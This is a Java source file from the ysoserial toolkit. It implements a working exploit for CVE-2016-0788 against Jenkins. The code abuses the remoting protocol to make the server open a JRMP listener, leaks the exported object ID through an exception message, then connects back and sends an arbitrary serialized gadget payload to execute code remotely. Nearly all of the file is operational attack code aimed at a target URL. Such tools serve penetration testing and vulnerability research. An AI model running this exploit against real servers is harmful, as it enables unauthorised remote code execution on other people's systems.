package ysoserial.exploit;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.rmi.activation.ActivationDesc;
import java.rmi.activation.ActivationID;
import java.rmi.activation.ActivationInstantiator;
import javax.net.SocketFactory;
import hudson.remoting.Callable;
import hudson.remoting.Channel;
import hudson.remoting.JarLoader;
import sun.rmi.server.Util;
import sun.rmi.transport.TransportConstants;
import ysoserial.payloads.JRMPListener;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Reflections;
/**
* CVE-2016-0788 exploit (1)
*
* 1. delivers a ysoserial.payloads.JRMPListener payload to jenkins via it's remoting protocol.
* 2. that payload causes the remote server to open up an JRMP listener (and export an object).
* 3. connect to that JRMP listener and deliver any otherwise blacklisted payload.
*
* Extra twist:
* The well-known objects exported by the listener use the system classloader which usually
* won't contain the targeted classes. Therefor we need to get ahold of the exported object's id
* (which is using jenkins' classloader) that typically is properly randomized.
* Fortunately - for the exploiting party - there is also a gadget that allows to leak
* that identifier via an exception.
*
* @author mbechler
*/
@SuppressWarnings ( {
"rawtypes", "restriction"
} )
public class JenkinsListener {
public static final void main ( final String[] args ) {
if ( args.length < 3 ) {
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <payload_type> <payload_arg>");
System.exit(-1);
}
final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(args[ 1 ]);
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
System.err.println("Invalid payload type '" + args[ 1 ] + "'");
System.exit(-1);
}
String jenkinsUrl = args[ 0 ];
int jrmpPort = 12345;
Channel c = null;
try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa);
Object call = c.call( JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours"));
InvocationHandler remote = Proxy.getInvocationHandler(call);
int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote);
System.err.println("* JarLoader oid is " + oid);
Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort));
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass);
try {
c.call((Callable<?, ?>) o);
}
catch ( Exception e ) {
// [ActivationGroupImpl[UnicastServerRef [liveRef:
// [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1,
// -9046794842107247609]]
System.err.println(e.getMessage());
parseObjIdAndExploit(args, payloadClass, jrmpPort, isa, e);
}
}
catch ( Throwable e ) {
e.printStackTrace();
}
finally {
if ( c != null ) {
try {
c.close();
}
catch ( IOException e ) {
e.printStackTrace(System.err);
}
}
}
}
private static Object makeIsPresentOnRemoteCallable ( int oid, Object uro, Class<?> reqClass )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
reqCons.setAccessible(true);
return reqCons
.newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] {
uro,
});
}
private static void parseObjIdAndExploit ( final String[] args, final Class<? extends ObjectPayload> payloadClass, int jrmpPort,
InetSocketAddress isa, Exception e ) throws Exception, IOException {
String msg = e.getMessage();
int start = msg.indexOf("objID:[");
if ( start < 0 ) {
throw new Exception("Failed to get object id");
}
int sep = msg.indexOf(", ", start + 1);
if ( sep < 0 ) {
throw new Exception("Failed to get object id, separator");
}
int end = msg.indexOf("]", sep + 1);
if ( end < 0 ) {
throw new Exception("Failed to get object id, separator");
}
String uid = msg.substring(start + 7, sep);
String objNum = msg.substring(sep + 2, end);
System.err.println("* UID is " + uid);
System.err.println("* ObjNum is " + objNum);
String[] parts = uid.split(":");
long obj = Long.parseLong(objNum);
int o1 = Integer.parseInt(parts[ 0 ], 16);
long o2 = Long.parseLong(parts[ 1 ], 16);
short o3 = Short.parseShort(parts[ 2 ], 16);
exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, payloadClass, args[ 2 ]);
}
private static void exploit ( InetSocketAddress isa, long obj, int o1, long o2, short o3, Class<?> payloadClass, String payloadArg )
throws IOException {
Socket s = null;
DataOutputStream dos = null;
try {
System.err.println("* Opening JRMP socket " + isa);
s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
s.setKeepAlive(true);
s.setTcpNoDelay(true);
OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);
dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);
@SuppressWarnings ( "resource" )
final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos);
objOut.writeLong(obj);
objOut.writeInt(o1);
objOut.writeLong(o2);
objOut.writeShort(o3);
objOut.writeInt(-1);
objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class)));
final ObjectPayload payload = (ObjectPayload) payloadClass.newInstance();
final Object object = payload.getObject(payloadArg);
objOut.writeObject(object);
os.flush();
ObjectPayload.Utils.releasePayload(payload, object);
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
finally {
if ( dos != null ) {
dos.close();
}
if ( s != null ) {
s.close();
}
}
}
}